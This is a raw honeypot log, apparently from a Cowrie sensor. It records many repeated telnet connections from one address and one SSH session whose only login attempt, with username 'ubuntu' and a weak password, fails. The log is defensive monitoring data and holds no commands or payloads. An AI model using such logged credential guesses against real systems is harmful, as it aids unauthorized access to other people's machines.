{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46528,"dst_ip":"159.203.135.109","dst_port":23,"session":"a660ee612489","protocol":"telnet","message":"New connection: 69.6.196.124:46528 (159.203.135.109:23) [session: a660ee612489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:29.690593Z"}
{"eventid":"cowrie.session.closed","duration":31.662425756454468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:30.008860Z","src_ip":"69.6.196.124","session":"47af596e9f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46544,"dst_ip":"159.203.135.109","dst_port":23,"session":"6621f86e31c0","protocol":"telnet","message":"New connection: 69.6.196.124:46544 (159.203.135.109:23) [session: 6621f86e31c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:31.831423Z"}
{"eventid":"cowrie.session.closed","duration":30.496702194213867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:33.329507Z","src_ip":"69.6.196.124","session":"b2254c0001ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46550,"dst_ip":"159.203.135.109","dst_port":23,"session":"214edae71fa6","protocol":"telnet","message":"New connection: 69.6.196.124:46550 (159.203.135.109:23) [session: 214edae71fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:33.767667Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46562,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a6450c48d22","protocol":"telnet","message":"New connection: 69.6.196.124:46562 (159.203.135.109:23) [session: 7a6450c48d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:33.941682Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46576,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c29cb2fa50","protocol":"telnet","message":"New connection: 69.6.196.124:46576 (159.203.135.109:23) [session: e9c29cb2fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:34.966889Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46568,"dst_ip":"159.203.135.109","dst_port":23,"session":"d286b9895b81","protocol":"telnet","message":"New connection: 69.6.196.124:46568 (159.203.135.109:23) [session: d286b9895b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:35.081175Z"}
{"eventid":"cowrie.session.closed","duration":31.40630531311035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:36.024250Z","src_ip":"69.6.196.124","session":"d2dbe4a1e407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46592,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a76430394a4","protocol":"telnet","message":"New connection: 69.6.196.124:46592 (159.203.135.109:23) [session: 6a76430394a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:36.042187Z"}
{"eventid":"cowrie.session.closed","duration":31.59868049621582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:36.068629Z","src_ip":"69.6.196.124","session":"04507de85040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11868953704834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:36.430262Z","src_ip":"69.6.196.124","session":"077b019556b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124473333358765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:37.383950Z","src_ip":"69.6.196.124","session":"06e174efa0e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46594,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f53ee17ef6","protocol":"telnet","message":"New connection: 69.6.196.124:46594 (159.203.135.109:23) [session: a1f53ee17ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:38.395471Z"}
{"eventid":"cowrie.session.closed","duration":31.068010568618774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:38.641348Z","src_ip":"69.6.196.124","session":"47e442b462d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.119628429412842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:39.278178Z","src_ip":"69.6.196.124","session":"013765759fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672368049621582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:39.576885Z","src_ip":"69.6.196.124","session":"472be695452a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434576272964478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:39.860533Z","src_ip":"69.6.196.124","session":"a446b6a6071c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785972118377686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:40.336037Z","src_ip":"69.6.196.124","session":"e749efd5bfa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08969497680664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:41.070481Z","src_ip":"69.6.196.124","session":"4cd53f5a2cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765969038009644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:41.268495Z","src_ip":"69.6.196.124","session":"fe4b53ac3bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73707151412964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:41.276054Z","src_ip":"69.6.196.124","session":"4ef122c2bf2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085688829421997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:41.628443Z","src_ip":"69.6.196.124","session":"4346b6898e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.767135858535767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:42.013213Z","src_ip":"69.6.196.124","session":"35f65a77e368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.740864276885986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:42.117214Z","src_ip":"69.6.196.124","session":"c4e09e20ea9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54294,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f61137e22db","protocol":"telnet","message":"New connection: 69.6.196.124:54294 (159.203.135.109:23) [session: 3f61137e22db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:42.618597Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54302,"dst_ip":"159.203.135.109","dst_port":23,"session":"82195a40da2f","protocol":"telnet","message":"New connection: 69.6.196.124:54302 (159.203.135.109:23) [session: 82195a40da2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:43.014974Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54316,"dst_ip":"159.203.135.109","dst_port":23,"session":"479ecada5a50","protocol":"telnet","message":"New connection: 69.6.196.124:54316 (159.203.135.109:23) [session: 479ecada5a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:43.547269Z"}
{"eventid":"cowrie.session.closed","duration":31.018887996673584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:43.700684Z","src_ip":"69.6.196.124","session":"c675376d6bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54324,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e4a5045cdd","protocol":"telnet","message":"New connection: 69.6.196.124:54324 (159.203.135.109:23) [session: e0e4a5045cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:44.165339Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54348,"dst_ip":"159.203.135.109","dst_port":23,"session":"afcf53724a41","protocol":"telnet","message":"New connection: 69.6.196.124:54348 (159.203.135.109:23) [session: afcf53724a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:45.486795Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54354,"dst_ip":"159.203.135.109","dst_port":23,"session":"213855205f95","protocol":"telnet","message":"New connection: 69.6.196.124:54354 (159.203.135.109:23) [session: 213855205f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:45.680374Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54368,"dst_ip":"159.203.135.109","dst_port":23,"session":"1635f94745e4","protocol":"telnet","message":"New connection: 69.6.196.124:54368 (159.203.135.109:23) [session: 1635f94745e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:45.689092Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54336,"dst_ip":"159.203.135.109","dst_port":23,"session":"decd5955980d","protocol":"telnet","message":"New connection: 69.6.196.124:54336 (159.203.135.109:23) [session: decd5955980d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:46.186046Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54380,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad09c954813d","protocol":"telnet","message":"New connection: 69.6.196.124:54380 (159.203.135.109:23) [session: ad09c954813d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:46.213269Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54382,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7fd50564137","protocol":"telnet","message":"New connection: 69.6.196.124:54382 (159.203.135.109:23) [session: e7fd50564137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:46.487864Z"}
{"eventid":"cowrie.session.closed","duration":31.119044303894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.144001Z","src_ip":"69.6.196.124","session":"050ba3f9de2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54378,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef1d3b9ec2d8","protocol":"telnet","message":"New connection: 69.6.196.124:54378 (159.203.135.109:23) [session: ef1d3b9ec2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.239499Z"}
{"eventid":"cowrie.session.closed","duration":31.232829332351685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.290556Z","src_ip":"69.6.196.124","session":"f57ee032a395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20304846763611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.300546Z","src_ip":"69.6.196.124","session":"1fbc3209874b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427118062973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.326099Z","src_ip":"69.6.196.124","session":"425183543f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54400,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c78f98e619a","protocol":"telnet","message":"New connection: 69.6.196.124:54400 (159.203.135.109:23) [session: 9c78f98e619a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.351327Z"}
{"eventid":"cowrie.session.closed","duration":30.225873708724976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.379605Z","src_ip":"69.6.196.124","session":"ff713ad05ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54418,"dst_ip":"159.203.135.109","dst_port":23,"session":"c30b1df7e2ae","protocol":"telnet","message":"New connection: 69.6.196.124:54418 (159.203.135.109:23) [session: c30b1df7e2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.418097Z"}
{"eventid":"cowrie.session.closed","duration":31.05185055732727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:47.793321Z","src_ip":"69.6.196.124","session":"e21975fe86bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3210551738739,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:48.105489Z","src_ip":"69.6.196.124","session":"c86843cc3d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54426,"dst_ip":"159.203.135.109","dst_port":23,"session":"0285fe9f6041","protocol":"telnet","message":"New connection: 69.6.196.124:54426 (159.203.135.109:23) [session: 0285fe9f6041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:48.361680Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54440,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c1e570f2cf","protocol":"telnet","message":"New connection: 69.6.196.124:54440 (159.203.135.109:23) [session: 53c1e570f2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:48.662372Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37098,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc4a67fb6a5","protocol":"telnet","message":"New connection: 69.6.196.124:37098 (159.203.135.109:23) [session: 0cc4a67fb6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:49.682023Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54412,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce55b34af5e0","protocol":"telnet","message":"New connection: 69.6.196.124:54412 (159.203.135.109:23) [session: ce55b34af5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:50.442661Z"}
{"eventid":"cowrie.session.closed","duration":30.66292715072632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:51.256821Z","src_ip":"69.6.196.124","session":"9ba04dee2805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":53428,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1d75253048f","protocol":"ssh","message":"New connection: 103.129.221.202:53428 (10.17.0.5:22) [session: f1d75253048f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:51.328091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:51.402194Z","src_ip":"103.129.221.202","session":"f1d75253048f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54386,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf2daa63483","protocol":"telnet","message":"New connection: 69.6.196.124:54386 (159.203.135.109:23) [session: cdf2daa63483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:51.406116Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:51.645588Z","src_ip":"103.129.221.202","session":"f1d75253048f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37120,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecea0dbae3ab","protocol":"telnet","message":"New connection: 69.6.196.124:37120 (159.203.135.109:23) [session: ecea0dbae3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.317094Z"}
{"eventid":"cowrie.session.closed","duration":30.797359704971313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.408740Z","src_ip":"69.6.196.124","session":"b40691714270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82806968688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.470036Z","src_ip":"69.6.196.124","session":"dc80a43455e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834415435791016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.512619Z","src_ip":"69.6.196.124","session":"4833f26ee0d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazwsx","message":"login attempt [ubuntu/1qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.619957Z","src_ip":"103.129.221.202","session":"f1d75253048f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.001755237579346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.773313Z","src_ip":"69.6.196.124","session":"e2ade1aceeac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"138565bee33a","protocol":"telnet","message":"New connection: 69.6.196.124:37114 (159.203.135.109:23) [session: 138565bee33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.810646Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37124,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a92819eb200","protocol":"telnet","message":"New connection: 69.6.196.124:37124 (159.203.135.109:23) [session: 4a92819eb200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.830975Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37132,"dst_ip":"159.203.135.109","dst_port":23,"session":"4faf281b7f52","protocol":"telnet","message":"New connection: 69.6.196.124:37132 (159.203.135.109:23) [session: 4faf281b7f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.913943Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5d2aa15bae","protocol":"telnet","message":"New connection: 69.6.196.124:37142 (159.203.135.109:23) [session: 4e5d2aa15bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:52.967225Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:53.864739Z","src_ip":"103.129.221.202","session":"f1d75253048f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.326974868774414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:54.337183Z","src_ip":"69.6.196.124","session":"e3cde19466cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38940668106079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:54.425053Z","src_ip":"69.6.196.124","session":"945ce899e428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747350692749023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:54.433043Z","src_ip":"69.6.196.124","session":"54d46019be6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37164,"dst_ip":"159.203.135.109","dst_port":23,"session":"084f773ccc17","protocol":"telnet","message":"New connection: 69.6.196.124:37164 (159.203.135.109:23) [session: 084f773ccc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:55.500722Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37168,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a71a7c748ba","protocol":"telnet","message":"New connection: 69.6.196.124:37168 (159.203.135.109:23) [session: 4a71a7c748ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:55.693829Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37156,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b98a3f0d4b","protocol":"telnet","message":"New connection: 69.6.196.124:37156 (159.203.135.109:23) [session: 31b98a3f0d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:55.880435Z"}
{"eventid":"cowrie.session.closed","duration":30.68545413017273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:56.430360Z","src_ip":"69.6.196.124","session":"5f1e48ebb3c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37180,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ed7ae564be","protocol":"telnet","message":"New connection: 69.6.196.124:37180 (159.203.135.109:23) [session: 77ed7ae564be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:57.223599Z"}
{"eventid":"cowrie.session.closed","duration":32.6269166469574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:57.342535Z","src_ip":"69.6.196.124","session":"54e482a6e356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37196,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9aeba9f4ad","protocol":"telnet","message":"New connection: 69.6.196.124:37196 (159.203.135.109:23) [session: 2d9aeba9f4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:57.636460Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37198,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bec7f34bd99","protocol":"telnet","message":"New connection: 69.6.196.124:37198 (159.203.135.109:23) [session: 4bec7f34bd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:58.813874Z"}
